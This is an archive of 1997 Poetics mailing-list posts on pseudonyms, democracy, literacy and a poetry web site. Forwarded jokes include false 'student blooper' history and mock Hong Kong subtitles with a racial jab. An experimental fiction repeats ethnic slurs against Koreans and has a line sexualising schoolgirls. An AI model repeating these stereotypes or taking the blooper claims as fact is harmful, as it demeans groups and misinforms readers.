On Tue, 18 Nov 1997 13:48:38 -0500 Jordan Davis said:
>
>1752-70, English Poet. At age 12 he was composing the "Rowley poems" and
>claiming they were copies of 15th-cent. manuscripts. He came to London,
>failed to get his work published, and killed himself at 17. An original
>genius as well as an adept imitator, he used 15th-cent. language but a
>modern approach. He was a hero to the Romantics.
>
>How many pseudonyms do you have, Henry?

Dear Mr. Davis, Unaccustomed as I am to this epistolary format, nevertheless I will endeavor to respond to your query. In brief, Sr. Enrique Chepasa de Shivamitimbres-Goulashada, known to certain contemporary "email" networks variously as "Henry Gould", "Jack Spandrift", Eric Blarnes", and "Torquemada", remains an elusive historical personage in the history of late 17th-cent. Iberian pseudo-poetics. Born in Granada (according to local legend, beneath a flowering Burpee seed catalog), Sr. Enrique served in the Spanish Armada under the pseudonym of Fernando Bombastador, Capitain of the Galleon Reye Leetle-Brune-Jug, which foundered tragicomically off the northeast coast of Scotland in 1588. To summarize, Sr. Enrique lived out the rest of his days chained to a barrel of McDougall's ale; from there, he wrote the masterful version of Cervantes' famous "Don Quijote" which so inspired JL Borges' inimitable "Don Rickles en Madrid" pastiche, with which I have no doubt you have undoubtedly certain familiarities, I am convinced. (Pardon my english.) The writings attributed to his other pseudonyms, mentioned above, are apocryphal and of doubtful provenance; however, Luigi Della Patata of Bologna in a recent monograph has compared chirography of the various ms. with signal success. For further information I encourage you to consult Della Patata's website:
http://www.consyrup.com; and thank you for all your enquiries to which I regret

my inability to respond individually, as I am 16 different persons, and you can imagine the practical difficulties which might result from such and etc.

Yours multiply,
Rudolph Rougenez

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409. **Pritchett,Pat**
Re: to spank your curiosity
Tue 18 Nov 1997

Thanks for the nudge, Christopher. I'm finally checking it out and it is truly a garden of marvels. Great job Miekal & Maria!

Patrick Pritchett

From: Christopher Alexander
To: POETICS
Subject: Re: to spank your curiosity
Date: Tuesday, November 18, 1997 2:15PM

Miekal And wrote:
> You are invited to encounter JOGLARS [...]
> http://net22.com/qazingulaza/joglars/index.html

I just want to call this again to list attention
("whoso would list"), as some of us have been
there & many of us seem not to have (or passed
without a trace from off...) been there. & thanks,
Miekal & Maria (+ participants), for an amazing site!

↑ Index

410. **Jerry E. Fletcher**
Re: not worth quoting, a tangent
Tue 18 Nov 1997

---

hen wrote:
>

> *That still leaves the question, how would "the mob", i.e., everybody,*
> *take care of garbage collection each week?*
> *I believe in giving trust a chance and*
> *reining in the money interests. You cynics give up too easily.*
> *Popular sovereignty AND the rule of law would seem to require elected*
> *representatives to devote full time to interpreting the law.*

> *Though many of our congresspeople seem to devote full time to fundraising and partisanship. That's because most of us have left out the sovereignty clause. We're apolitical and then we blame the politicians for taking advantage of us. Our enemies never seem to live up to our own versions of utopia, for some reason. - Henry Gould*

Henry,

I'm no cynic about the path of representative democracy and have not given up. I do think its the best way to govern, but history is on the side of the money powers buying what they think is best for them and hang the rest of us. Then all the corruption and power games get thrown in and you have the continual messes we find ourselves in most of the time. Nay, not a cynic, but a student, as well as practioner, of government and electoral politics with an insider view to its workings.

Jerry.

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411. **david bromige**
Not only my curiosity
Tue 18 Nov 1997

---

has been spanked, but also my interest & my awareness--thank you, Chris, for the heads-up : youre better than an English nanny! And kudos to Mikael y Maria for their hard work. David

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412. **henry gould**
Re: democracy
Tue 18 Nov 1997

A follow-up to previous thread. Cynicism & realism. With respect to rose-tinted glasses, please give me some slack: I was born & raised in Minnesota, after all. & you probably recall that old Rhode Island political adage: "The road to Hell is paved with Hubert Humphreys, potholed with Gene McCarthys, and resurfaced with Walter Mondales."

Speaking of Rhode Island, here's a little Roger Williams: When a field is to be broken up, they have a very loving sociable speedy way to dispatch it: All the neighbors Men and Women forty, fifty, a hundred &etc., joyne, and come in to help freely. With friendly joyning they break up their fields, build their Forts, hunt the Woods, stop and kill fish in the Rivers, it being tru with them as with all the World in the Affaires of Earth or Heaven: By concord little things grow great, by discord the greatest come to nothing _Concordia parvae res crescunt,

Discordia magnae dilabunter_. - Roger Williams KEY INTO THE LANGUAGE OF AMERICA (Rosmarie Waldrop, poeta valora, literally "scratched the surface") - Henry Gould

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413. **david bromige**
rob hardin's grief
Tue 18 Nov 1997

---

shared by many, I have no doubt. And No, Rob, it wasnt you who used 'tragedy". My chief concern was that Listpersons were posting in as if Kathy Acker's death were a foregone conclusion & this struck me as callously insensitive. What would it cost you-all to have at least as much patience as she needs to muster? David

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414. **p. durgin**
Re: not worth quoting, a tangent
Tue 18 Nov 1997

Anyone who heard Clinton's address will remember his quoting of Whitman. Next day, William B.'s "silent revolution," Eileen Myles' '92 campaign of "total disclosure," and wondering about poetics as gesture(s) of activism. A representitive democracy would seem to simulate how we ultimately "trust" our authors. Who wrote Mr. Clinton's address? Myles, in a '94 interview, "I was simply being a writer, a poet, in public. And there was no other way to do that other than to say you're a presidential candidate." C. Bernstein, "Ideology . . . everywhere informs poetry and imparts to it . . . a density of materialized social being expressed through the music of a work as well as its multifoliate references." By insinuating that gays and lesbians and bisexuals as well as himself are equally entitled to the rights of their citizenship, ie. consomate representation, was bittersweet at best. That societal values own up to this notion has yet to be seen. How incredibly calculated Mr. President's unprecedented appearance, and it is a group of faithful voters he's after. I "trust" he will earn some. A poem, as a cultural product, seems an abject token in this context. The question I have for the list is this: to what extent are our poetries/poetics an effective cultural analogue? Is the gap of representation (assuming a lot here, I realize) really any wider now than it may have been in the past, may be in the future? Patrick F. Durgin

|||[redacted]|||

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415. Jay Schwartz
Re: Grief to come
Tue 18 Nov 1997

Rob-

Please fill me (us) in on what is wrong with Kathy Acker. I am truly sad to hear of this...

Jay Schwartz

↑ Index

416. p. durgin
Re: not worth quoting, a tangent
Tue 18 Nov 1997

Which is exactly the point attempting to be made by this here cynic. If Clinton were a zine editor, he'd be put out of business half way to Kinko's.

|||[redacted]|||

_____

On Tue, 18 Nov 1997, hen wrote:

> *You cynics give up too easily.*
> *Popular sovereignty AND the rule of law would seem to require elected representatives to devote full time to interpreting the law.*
> *Though many of our congresspeople seem to devote full time to fundraising and partisanship. That's because most of us have left out the sovereignty clause. We're apolitical and then we blame the politicians for taking advantage of us. Our enemies never seem to live up to our own versions of utopia, for some reason. - Henry Gould*

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417. mark weiss
(no subject)
Tue 18 Nov 1997

This came to me over the web, ultimate source unknown. I pass it along as a possible source of poems for those so inclined.

One of the fringe benefits of being an English or History teacher is receiving the occasional jewel of a student blooper in an essay. I have pasted together the following "history" of the world from certifiably genuine student bloopers collected by teachers throughout the United States, from eighth grade through college level. Read carefully, and you will learn alot.

The inhabitants of Egypt were called mummies. They lived in the Sarah Dessert and traveled by Camelot. The climate of the sarah is such that the inhabitants have to live elsewhere, so certain areas of the dessert are cultivated by irritation. The Egyptians built the Pyramids in the shape of a huge triangular cube. The Pyramids are a range of mountains between France and Spain.

The Bible is full of interesting caricatures. In the first book of the Bible, Guinesses, Adam and Eve were created from an apple tree. One of their children, Cain, asked "Am I my brother's son?" God asked Abraham to sacrifice Issac on Mount Montezuma. Jacob, son of Issac, stole his brother's birthmark. Jacob was a patriarch who brought up his twelve sons to be patriarchs, but they did not take to it. One of Jacob's sons, Joseph, gave refuse to the Israelites.

Pharaoh forced the Hebrew slaves to make bread without straw. Moses led them to the Red Sea, where they made unleavened bread, which is bread made without any ingredients. Afterwards, Moses went up on Mount Cyanide to get the ten commandments. David was a Hebrew king skilled at playing the liar. He faught with the Philatelists, a race of people who lived in Biblical times. Solomon, one of David's sons, had 500 wives and 500 porcupines.

Without the Greeks, we wouldn't have history. The greeks invented 3 kinds of columns---corinthian, Doric and ironic. They also had myths. A myth is a female moth. One myth says that the mother of Achilles dipped him in the River Stynx until he became intolerable. Achilles appears in "The Illiad", by Homer. Hoomer also wrote the "Oddity", in which Penelope was the last hardship that Ulysses endured on his journey. Actually, Homer was not written by Homer but by another man of that name. Socrates was a famous Greek teacher who went around giving people advice. They killed him. Socrates died from an overdose of wedlock.

In the Olympic Games, Greeks ran races, jumped, hurled the biscuits, and threw the java. The reward to the victor was a coral wreath. The government of Athen was democratic because the people took the law into their own hands. There were no wars in Greece, as the mountains were so high that they couldn't climb over to see what their neighbours were doing. When they faught the Parisians, the greeks were outnumbered because the Parisians had more men.

Eventually the Ramons conquered the Greeks. History called people Romans because they never stayed in one place very long. At Roman banquets, the guests wore garlic in their hair. Julius Caesar extinguished himself on the battlefields of Gaul. The Ides of March killed him because they thought he was going to be made king. Nero was a cruel tyrany who would torture his poor subjects by playing the fiddle to them.

Then came the Middle Ages. King Alfred conquered the Dames, King Arthur lived in the Age of Shivery, King Harlod mustarded his troops before the battle

of hastings, Joan of Arc was cannonized by George Bernard Shaw, and the victims of the Black Death grew boobs on their necks. Finally the Magna Carta provided that no free man should be hanged twice for the same offense.

In Midevil times most of the people wee alliterate. The greatest writer of the time was Chaucer, who wrote many poems and verse and also wrote literature. Another tale tells of William Tell, who shot an arrow through an apple while standing on his son's head.

The Renaissance was an age in which more individuals felt the value of their human being. Martin Luther was nailed to the church door at Wittenberg for selling papal indulgences. He died a horrible death, being excommunicated by a bull. It was the painter Donatello's interest in the female nude that made him the father of the Renaissance. It was an age of great inventions and discoveries. Gutenberg invented the Bible. Sir Walter Raleigh is a historical figure because he invented cigarettes. Another important invention was the circulation of blood. Sir Francis circumcised the world with a 100 foot clipper.

The government of England was a limited mockery. Henry VIII found walking difficult because he had an abbess on his knee. Queen Elizabeth was the "Virgin Queen." As a queen she was a success. When Elizabeth exposed herself before her troops, they all shouted "hurrah." Then her navy went out and defeated the Spanish Armadillo.

The greatest writer of the Renaissance was William Shakespear. Shakespear never made much money and is famous only because of his plays. he lived in Windsor with his merry wives, writing tragedies, comedies and errors. In one of Shakespear's famous plays, Hamlet rations out his situation by relieving himself in a long soliloquy. In another, lady Macbeth tries to convince Macbeth to kill the king by attacking his manhood. Romeo and Juliet are an example of a heroic couplet. Writing at the same time as Shakespear was Miquel Cervantes. He wrote "Donkey hote." The next great author was John Milton. Milton wrote "Paradise Lost." Then his wife dies and he wrote "Paradise regained."

During the Renaissance America began. Christopher Columbus was a great navigator who discovered America while cursing about the Atlantic. His ships were called the Nina, the Pinta and the Santa Fe. Later the pilgrims crossed the ocean, and that was called the Pilgrim's Progress. When they landed at Plymouth Rock, they were greeted by indians, who came down the hill rolling their was hoops before them. The indian squabs carried porposies on their back. Many of the indian heroes were killed, along with their cabooses, which proved very fatal for them. The winter of 1620 was a hard one for the settlers. Many people died and many babies were born. Captain John Smith was responsible for all this.

One of the causes of the revolutionary Wars was the English put tacks in their tea. Also, the colonists would send their parcels through the post without stamps. During the war, Red Coates and Paul Revere was throwing balls over stone walls. The dogs were barking and the peacocks crowing. Finally, the colonists won the War and no longer had to pay for taxis.

Delegates from the original thirteen states formed the Contented Congress. Thomas Jefferson, a virgin, and Benjamin Franklin were two singers of the Declaration Of Independence. Franklin had gone to Bostin carrying all his clothes in his pocket and a loaf of bread under each arm. He invented electricity by rubbing cats backwards and declared "a horse divided against itself cannot stand." Franklin died in 1790 and is still dead.

George Washington married Matha Curtis and in due time became the Father of our country. Then the Constitution of the United States was adopted to secure domestic hostility. Under the Constitution the people enjoyed the right to keep bare arms.

Abraham Lincoln became America's greatest Precedent. Lincoln's mother died in infancy, and he was born in a log cabin which he built with his own hands. When Lincoln was president, he wore only a tall silk hat. he said "In onion there is strength." Abraham Lincoln wrote the Gettysberg Address while traveling from Washington to Gettysberg on the back of an envelope. He also signed the Emasculation Proclamation, and the Fourteenth Amendment gave the ex-Negroes citizenship. But the clue clux clan would torcher and lynch the ex-Negroes and other innocent victims. On the night of April 14, 1865, Lincoln went to the theater and got shot in his seat by one of the actors in a moving picture show. The believed assinator was John Wilkes Booth, a sopposedly insane actor. This ruined Booth's career.

Meanwhile in Europe, the enlightenment was a reasonable time. Voltare invented electricity and also wrote a book called "Candy." Gravity was invented by Issac Walton. It is chiefly noticeable in the Autumn, when the apples are falling off the trees.

Bach was the most famous composer in the world, and so was Handel. Handel was half German, half Italian, and half English. He was very large. Bach died from 1750 to the present. Beethoven wrote music even though he was deaf. He was so deaf he wrote loud music. He took long walks in the forest even when everyone was calling for him. Beethoven expired in 1827 and later died for this.

France was in a very serious state. The French Revolution was accomplished before it happened. The Marseillaise was the theme song of the French Revolution, and it catapulted into Napoleon. During the Napoleonic Wars, the crowned heads of Europe were trembling in their shoes. Then the Spanish gorrilas came down from the hills and nipped at Napoleon's flanks. Napoleon became ill with

bladder problems and was very tense and unrestrained. he wanted an heir to inherit his power, but since Josephine was a baroness, she couldn't bear him any children.

The sun never set on the British Empire because the british Empire is in the east and the sun sets in the West. Queen Victoria was the longest queen. She sat on a thorn for 63 years. Her reclining years and finally the end of her life were exemplatory of a great personality. Her death was the final event which ended her reign.

The ninteenth century was a time of many great inventions and thoughts. The invention of the steam boat caused a network of rivers to spring up. Cyrus McCormick invented the McCormic raper, which did the work of 100 men. Samuel Morse invented a code for telepathy. Louis Pastuer discovered a cure for rabbis. Charles Darwin was a naturailist who wrote the "Organ of the Species." Madman Curie discovered radium. And Karl Marx became one of the Marx Brothers.

The First World war, caused by the assignation of Arch-Duck by a surf, ushered in a new error in the anals of human history.

↑ Index

418. Steven Marks
more comedy tonight
Tue 18 Nov 1997

This came to me in my e-mail today. Thanks, Mark W., for that hilarious history of the world.

> *ACTUAL ENGLISH SUBTITLES USED IN FILMS MADE IN HONG KONG.*
>
> *1. I am damn unsatisfied to be killed in this way.*
> *2. Fatty, you with your thick face have hurt my instep.*
> *3. Gun wounds again?*
> *4. Same old rules: no eyes, no groin.*
> *5. A normal person wouldn't steal pituitaries.*
> *6. Damn, I'll burn you into a BBQ chicken!*
> *7. Take my advice, or I'll spank you without pants.*
> *8. Who gave you the nerve to get killed here?*
> *9. Quiet or I'll blow your throat up.*
> *10. You always use violence. I should've ordered glutinous rice chicken.*
> *11. I'll fire aimlessly if you don't come out!*
> *12. You daring lousy guy.*
> *13. Beat him out of recognizable shape!*
> *14. I have been scared sh_tless too much lately.*
> *15. I got knife scars more than the number of your leg's hair!*
> *16. Beware! Your bones are going to be disconnected.*

> *17. The bullets inside are very hot. Why do I feel so cold?*
> *18. How can you use my intestines as a gift?*
> *19. This will be of fine service for you, you bag of the scum. I am sure you will not mind that I remove your manhoods and leave them out on the dessert flour for your aunts to eat.*
> *20. Yah-hah, evil spider woman! I have captured you by the short rabbits and can now deliver you violently to your gynecologist for a thorough extermination.*
> *21. Greetings, large black person. Let us not forget to form a team up together and go into the country to inflict the pain of our karate feets on some _ss of the giant lizard person.*

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

419. Miekal And
hEar wRave
Tue 18 Nov 1997

t e s t r u n +++++ t e s t r u n +++++ t e s t r u n +++++

UBUTRONIC
Audio Faucet &
Brainwave Seducer

http://net22.com/qazingulaza/joglars/logokon/noise/prenoiseframe.html

-hypertext song
-requires netscape 3
-frames
-interactive 4 channel sound
-fat samples

↑ Index

420. David Zauhar
Re: Literacy
Tue 18 Nov 1997

I would recommend Ross Talarico's _Spreading the Word: Poetry and the Survival of Community_ (Duke, 1995). Talarico is a poet who was employed for a decade or so by the city of Rochester (NY) as its artist in residence, and he gave workshops to seniors, disadvantaged kids, etc. One of his interesting points is that one way to bring people to reading (literacy) is through writing, esp poetry.

And there's some pretty impressive poetry by some of the high school kids in there, much better than that by those kids represented by Adrienne Rich in her edition of the Best American poetry 1996. He also advances the notion of "deliteracy" as a way of explaining the state of the word in the contemporary US (pointing out that we live in a culture in which those who use language to deceive can get rich and gain power, whereas those who use it to demystify and enlighten, are marginalized. No news to anybody on this list, but personally, I never get tired of hearing it.

David Zauhar
University of Illinois at Chicago

"The oldest of all alleged libraries are the libraries of the gods" --Ernest Cushing Richardson

On Tue, 18 Nov 1997, J. Tate wrote:

> *Many books/articles on literacy stress the socio-cultural empowerment literacy brings. But, little I can find addresses these sorts of questions: is aesthetic education useful to literacy? can aesthetic pleasure be a reason to teach someone to read?*
>
> *Any suggestions on readings that address how aesthetic concerns intersect with literacy issues?*
>
> *Thanks,*
>
> *Joseph Tate*
> *Graduate Student*
> *Department of English*
> *U. of Washington, Seattle*

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421. david bromige
gratitude for the comedies tonight
Tue 18 Nov 1997

Mark, I have only inflicted with my nails the meniscus of your astonished document. Yours, Steven, being more than half as less, I have already ingested though in parts it found me impenetrable to gulp. #19, for typicality, blew me as confected because altogether much less likely to be upcome of genial translatorese. By what examination elect how authenticized each instant? #21 blows me as much increased true mistake. I think #17 clockless wonder of haiku-like beauty, very shifting, almost moanratic. I only lash myself that these were not

viable then in 1993 altereity-sage should I have installed them in my slender measure of space _The Harbormaster of Hong Kong_ ! No wax, David

PS

Out of sight, out of mind

_____

Invisible lunatic

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422. Maria Damon

Re: to spank your curiosity

Tue 18 Nov 1997

---

thanks all but by far the greater part of the credit goes to miekal; he and i have been writing, but he's the techno-genius who knows how to make it cool on the web, and add all the special visuals. he met w/ my class and showed us how to hypertext and then posted our stuff on da web. thanks again miekal ps if anyone wants to hire him to do workshops for your groups --he's just terrific.--md

At 2:45 PM -0500 11/18/97, Pritchett,Pat @Silverplume wrote:
>Thanks for the nudge, Christopher. I'm finally checking it out and it is
>truly a garden of marvels. Great job Miekal & Maria!
>
>Patrick Pritchett
> ----------
>From: Christopher Alexander
>To: POETICS
>Subject: Re: to spank your curiosity
>Date: Tuesday, November 18, 1997 2:15PM
>
> Miekal And wrote:
>> You are invited to encounter JOGLARS [...]
>> http://net22.com/qazingulaza/joglars/index.html
>
>I just want to call this again to list attention
>("whoso would list"), as some of us have been
>there & many of us seem not to have (or passed
>without a trace from off...) been there. & thanks,
>Miekal & Maria (+ participants), for an amazing site!

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423. Alan Myouka Sondheim
origins of language (fwd)
Wed 19 Nov 1997

-

The Language

Maybe they're walking. Maybe they're in Hakata-Eki. Maybe they're out in the street. Maybe there's no street, no names, just first-last, who got there. Maybe there's the getting.

The language is the same all the way down, Jennifer said. First you notice the signs on the street, then labels on electrical cords, things like that. You expect hiragana or katakana, fixed alphabets, and instead you get infinity. Infinity leaks everywhere; kanji goes on and on, back and back, flooding the world. The world is all that is inscribed, she said.

They wonder how we reproduce. They keep track of us with electronics, sometimes collars. We're nameless; they can't tell us apart. We fade quickly in the sun; sometimes shadows give us away, but not often enough. There's no borders around us. They think we don't reproduce.

Kon said, they don't reproduce; he knew it. They were fixed, like stations. They had answers for everything; questions were a suffix. They're present - they were always present. They'll be there. Europe is a flower.

Somewhere there is a signal, and an eye meets it. What crosses and reverses is chiasmus, thinking organ /\/ organic thought. There are terms beyond alphabets and numbers, pronunciations that do not meet the eye, then are no signals, but instances, instantiations. They cut the paper in two; they made the paper, the edges of it rough, shorn as if torn.

They'd write this in hopes of a better future life. Kon was doomed, Jennifer distraught. Polaroid filtration, transparent apart, blocking light and yama-mountain together. They'd have a better life.

Gaijin distraught. Gaijin at a loss. Gaijin on the run. Gaijin with guns; no one else in the world has guns. They're long and black and metal, flat blue metal and black grips and blue bullets and black chambers. They have fetish-sheen, get high black-market, grey-market prices for them.

Tom looked up; he's got one for sale. The customer: a Korean from Pusan. Ni-man, worth every yen. Eyes the bullets. Calls Tom out to the genkan. Look, man. Guy looks Tom in the eyes. Tom takes two of them, down for the kill.

Koreans are killers. Gaijin make the guns, peace-makers. They fire them in special kilns. Last several months, waterproof, always good in Fukuoka autumn.

Rains destroy wars. Gaijin never get wet; they've got oils in their pale skins. Dollars go a long way translated into any currency.

There's an investigation, Jennifer distraught. She calls on Kon. He sees death for the first time. It's gaijin death; Kon understands. Suddenly: Zen, satori! Knows all. Kon knows.

Jennifer and Kon go out to the Darkroom. It's black, blue, like bul- lets. There's a ledge on one side. They sit. Korean walks into the glare. He's looking, nervous, edgy. Could it be someone else; they know all of them know all of them, Kon says. Jennifer says, Kon, you're prejudiced, ignorant, unknowing-cloud, you haven't got it. Kon says, Jennifer.

The Korean orders saki. Saki-man says none, besides no heat here, just the sound. Hole blares from the speakers, pale-faced Alan requests from the corner. They've got hats. Jennifer knows hatred first-hand, sees it seething. The Korean turns slowly, as if there were something on his mind. Kon says, impossible. Jennifer thinks, impolite.

Soon someone will reach for something and it will all begin. It's a question of time, not Heidegger or Husserl, not being. It's waiting an instant out, a moment. The Korean gets up to leave. Stop, says Jennifer, hold on, just a moment. The sky turns blue-black.

Nani says the Korean. Gaijin bastard. You haven't a mother haven't a father. You came from the clouds. Jennifer whips him across the face; eyes flash out, sliced last-vision Jennifer down on the ground scream- ing; she's scrammed. Kon: Don't do that again. You've screwed the deal.

Tom, Tom, Jennifer says, he's dead. The language is all the way down.

As for Jennifer, her personality is gentle. Jennifer-san rages late- night Darkroom, but never again; Nakasha heats up, Tenjin, all the outlying districts. See gaijin run; Kon gnaws death as for himself.

Kuchi ga gatai, he's closed-mouthed, hard-mouthed; he now watches Kon. Jennifer-san awakens from a dream of killing, slicing; it's all right. What was before is the same; Kon's transitive, she thinks. Kon thinks, she's the one for me. They have tea.

Nothing happened at the Darkroom, Jennifer guesses. She's lost her name, -san has disappeared. She wants Eigo all the way down, the tongue of the native, transparent comfort pretending understanding. All language is viral, poison (she read); it seeps in, obscures, makes pretty-poison blue-black writing. This _is the case_ she decides, here! now! She wants to have the description of the

world delivered daily to her front door, no genkan in the way, socks and boots already facing inside-outside and everywhere.

She doesn't understand, Kon decries, decides. They have tea, toast, what remains of yesterday's bento. They move on and early-morning out, already rage against the city. What happened to Tom? What did he speak with gun-barrel diplomacy, or rather kanji could he read just about anywhere?

Kuchi ga karui, she'd have a light mouth, ask everyone, spread rumors, listen everywhere, blabber on, prattle to friends and strangers, talk and talk until _it_ returned with news, something in a pocket, a trail leading backwards and forwards, shuttling through snack-bar town. She'd open herself wide, ready for the fall. She thought Kon: I like you. Deeper, I love you. Maybe deeper yet, I'm in love with you, or maybe I'm crazy in love with you, madly in love. She thought Eigo Eng- lish talk, Jennifer-san, may I speak to you after class? An English is my owning language. Kon read his name on the bullet.

She read, in blue and black, "The evolution of machines is at first evident by the fact that they arise in "generations." One after anoth- er, newer models supersede the older, which often are embedded - let's call this the distortions of history, somewhat backwards-compatible. But sooner or later, there's a big leap to a new paradigm, and every- one is left behind. Capital picks up the pieces: Buy New! And trans- late the best you can; otherwise, there's nothing to do but start over."

This Korean who killed Tom for the guns is a machine, she decided, there's a new game in town. But it's only human species, said Kon, well, by definition, not so much new under the sun. Certainly not in the centuries of Fukuoka, everyone business as usual. The guns were laid out in parallel rows, glittering, glint-glint! as jagged patterns flashed before Jennifer's eyes, a migraine coming on.

She was gaijin, up to gai-jinx. She lived in a world of pure incompre- hension, the lessons of school-children, difficult periods, medication and saki-solace. Japanese would have been another language of smooth vocalizations, repetitions. Syllabic-hangul Koreans closed in, taking over yakuza-gaijin connects. Kon thought it was a matter of alphabets, lean syllables, phonemics, running slipshod across low-bandwidth com- puters, everything running high-speed forever, wires singing. In cyberspace, everyone knew their place, a matter of romaji, latin let- ters. In the future, Kon thought in black and blue, wars will be a matter of position, citation degree-zero. But not now as pachinko lights cast spells upon the population, gaijin and native alike. Not to mention the schoolgirls sliding like eels into the depths of child- hood, everyone wanting a piece.

Into the maelstrom of the Darkroom, Rumours, Snack-Bar Delight, Kon and Jennifer plunge; naked beneath their shirts and pants, they clutch each other, mouths open as if about to speak, recite alphabets and guns. All the colors in

the world, are all the colors in the world. Now, she takes his gun in, Tom forgotten. Now, every-word-perfection comes to bare on flesh, a new position for the body as concepts mount one another, photograph the moment of arousal.

Begin language. Gesture.. Some chemical makes response to rhythm; ano- ther makes visions. Flexible arms and legs. Skin-book, the first book is the body. Jennifer's nipple pierced by Kon's ring of silver; Jen- nifer-hiragana across Jon's breast. Numbered into one another. The dog-eating Korean has the guns. Rumors: look for them, they're looking for you. Machinic dispositions of reciprocity and exchange. Gears coagulate out of the beginnings of material culture: Jennifer owns her ring, Kon, his skin-marks.

Savage names lacerate mobile sites right from the beginning. _No one understands the name,_ it's the hinge or vortex of incomprehension. It's too close to the real. The Korean is "the Korean." Tom-dead is clearly generic; Kon knew he reproduced like water, no-fuck flows and empty-rhythm culture.

There's no name to truth as bodies wed to earth: "Kon and Jennifer are marrying." "Kon and Jennifer are getting married," Jennifer teaches. "But Jennifer is wedded to the earth." Kon, Khan, conquistador and the dirt of central Asia. He should know. He should know her.

The language is the same all the way across. Across the strait, Pusan beckons. Kon and Jennifer for the holiday, for the hell of it. They knew: no truth here. Suddenly: blaze-guns in the streets. They go down: something's coming!

It's the dog-eating Korean, following them, how? On the ferry, foot, bicycle. With the new guns, he fires away. Perfect trajectories are catenaries slightly out of shape, given the earth's tired sphere. A star-pattern across Pusan's streets, they're running now. Jennifer thinks Jennifer's fault, she's spread talk everywhere, loose lips, kuchi ga karui, can't keep her mouth shut, can't keep a secret, asked too many questions, talked everywhere and everywhere. Her words flooded the streets of Fukuoka from Chiyo south to Okinawa. Everyone knew, crazy gaijin with her signs of Eigo, placards of romaji, kanji boards held taut with gaijin-Tom's improper name.

In Pusan, dust. Policeman Dick is riding by, beauty-bicycle, black and blue. Policeman Dick's gun puffs, dog-eating Korean is blown away. Now Kon and Jennifer quietly leave the park for the ferry; they've had enough! Now they'll wed the water, work through all four elements. Kon thinks, there's a time for everything; Jennifer knows better. Jennifer knows she owns time, owns Kon's time, owns all the time in the world. Jennifer-gaijin is always perfect Jennifer.

Kon and Jennifer reproduce together, and Kon learns the useless value of collars, electronics, monitoring devices. He takes her silver ring between his teeth, distends her breast slightly. She can read the hiragana, Jennifer's true love.

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424. Michael Magee
Re: democracy
Wed 19 Nov 1997

Just wanted to quickly jump in and propose, I guess in Henry's defense, that "rose-tinted glasses" can, when used as part of a web of self-conscious symbolic action, have social and poltical teeth. I'm thinking particularly of Frederic Jameson's "proposition that the effectively ideological is also, at the same time, necessarily utopian," in The Political Unconscious. Jameson attempts "to project an imperative to thought in which the ideological would be grapsed as somehow at one with the Utopian." The utopian is useful as symbolic action because it awakens both disenchantment and desire, two necessary components of political and social action. Now of course, Jameson's Utopia is a Marxist one. But who's to say we might not hijack the theory to posit "Democracy" as a narrative which is "socially symbolic action," as Jameson insists all narratives are? The cynic says, "democracy's no good b/c it doesn't work." The skeptic says, "the times, the materials are out of synch with democracy. Democracy as symbolic action is what Burke called 'deferred action,'" and maybe this awakens the desire for social change. What good is the writer who merely tells us "things is bad." Hell, we already know that. -m.

According to henry gould:
> > A follow-up to previous thread. Cynicism & realism. With respect to
> rose-tinted glasses, please give me some slack: I was born & raised in
> Minnesota, after all. & you probably recall that old Rhode Island political
> adage: "The road to Hell is paved with Hubert Humphreys, potholed with
> Gene McCarthys, and resurfaced with Walter Mondales."
>
> Speaking of Rhode Island, here's a little Roger Williams:
> When a field is to be broken up, they have a very loving sociable speedy way
> to dispatch it: All the neighbors Men and Women forty, fifty, a hundred &etc.,
> joyne, and come in to help freely.
> With friendly joyning they break up their fields, build their Forts, hunt the
> Woods, stop and kill fish in the Rivers, it being tru with them as with all the
> World in the Affaires of Earth or Heaven: By concord little things grow great,
> by discord the greatest come to nothing _Concordia parvae res crescunt,
> Discordia magnae dilabunter_. - Roger Williams KEY INTO THE LANGUAGE OF
> AMERICA (Rosmarie Waldrop, poeta valora, literally "scratched the surface")

> - Henry Gould
>

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425. William Burmeister Prod
(no subject)
Wed 19 Nov 1997

On Nov 18, 4:34pm, mark weiss wrote:
> Subject:
> This came to me over the web, ultimate source unknown. I pass it along as a
> possible source of poems for those so inclined.
>
>
>
>
> One of the fringe benefits of being an English or History teacher is
> receiving the occasional jewel of a student blooper in an essay. I have
> pasted together the following "history" of the world from certifiably
> genuine student bloopers collected by teachers throughout the United
> States, from eighth grade through college level. Read carefully, and you
> will learn alot.
>
> The inhabitants of Egypt were called mummies. They lived in the Sarah
> Dessert and traveled by Camelot. The climate of the sarah is such that
> the inhabitants have to live elsewhere, so certain areas of the dessert are
> cultivated by irritation. The Egyptians built the Pyramids in the shape of
> a huge triangular cube. The Pyramids are a range of mountains between
> France and Spain. & ...

Oh for happy misunderstandings! Mo funny when heard from the mouths of babes (ie the Little Rascals (Our Gang) which I think is marvelous to watch).

William Burmeister

↑ Index

426. William Burmeister Prod
Re: more comedy tonight
Wed 19 Nov 1997

On Nov 18, 7:52pm, Steven Marks wrote:
> Subject: more comedy tonight
> This came to me in my e-mail today. Thanks, Mark W., for that hilarious
> history of the world.

>
> >>> ACTUAL ENGLISH SUBTITLES USED IN FILMS MADE IN HONG KONG.
> >>>
> >>> 1. I am damn unsatisfied to be killed in this way.
> >>> 2. Fatty, you with your thick face have hurt my instep.
> >>> 3. Gun wounds again?
> >>> 4. Same old rules: no eyes, no groin.
> >>> 5. A normal person wouldn't steal pituitaries.
> >>> 6. Damn, I'll burn you into a BBQ chicken!
> >>> 7. Take my advice, or I'll spank you without pants.
> >>> 8. Who gave you the nerve to get killed here?
> >>> 9. Quiet or I'll blow your throat up.
> >>> 10. You always use violence. I should've ordered glutinous rice
> >>> chicken.
> >>> 11. I'll fire aimlessly if you don't come out!
> >>> 12. You daring lousy guy.
> >>> 13. Beat him out of recognizable shape!
> >>> 14. I have been scared sh_tless too much lately.
> >>> 15. I got knife scars more than the number of your leg's hair!
> >>> 16. Beware! Your bones are going to be disconnected.
> >>> 17. The bullets inside are very hot. Why do I feel so cold?
> >>> 18. How can you use my intestines as a gift?
> >>> 19. This will be of fine service for you, you bag of the scum. I am
> >>> sure you will not mind that I remove your manhoods and leave them out
> >>> on the dessert flour for your aunts to eat.
> >>> 20. Yah-hah, evil spider woman! I have captured you by the short
> >>> rabbits and can now deliver you violently to your gynecologist for a
> >>> thorough extermination.
> >>> 21. Greetings, large black person. Let us not forget to form a team
> >>> up together and go into the country to inflict the pain of our karate
> >>> feets on some _ss of the giant lizard person.
>

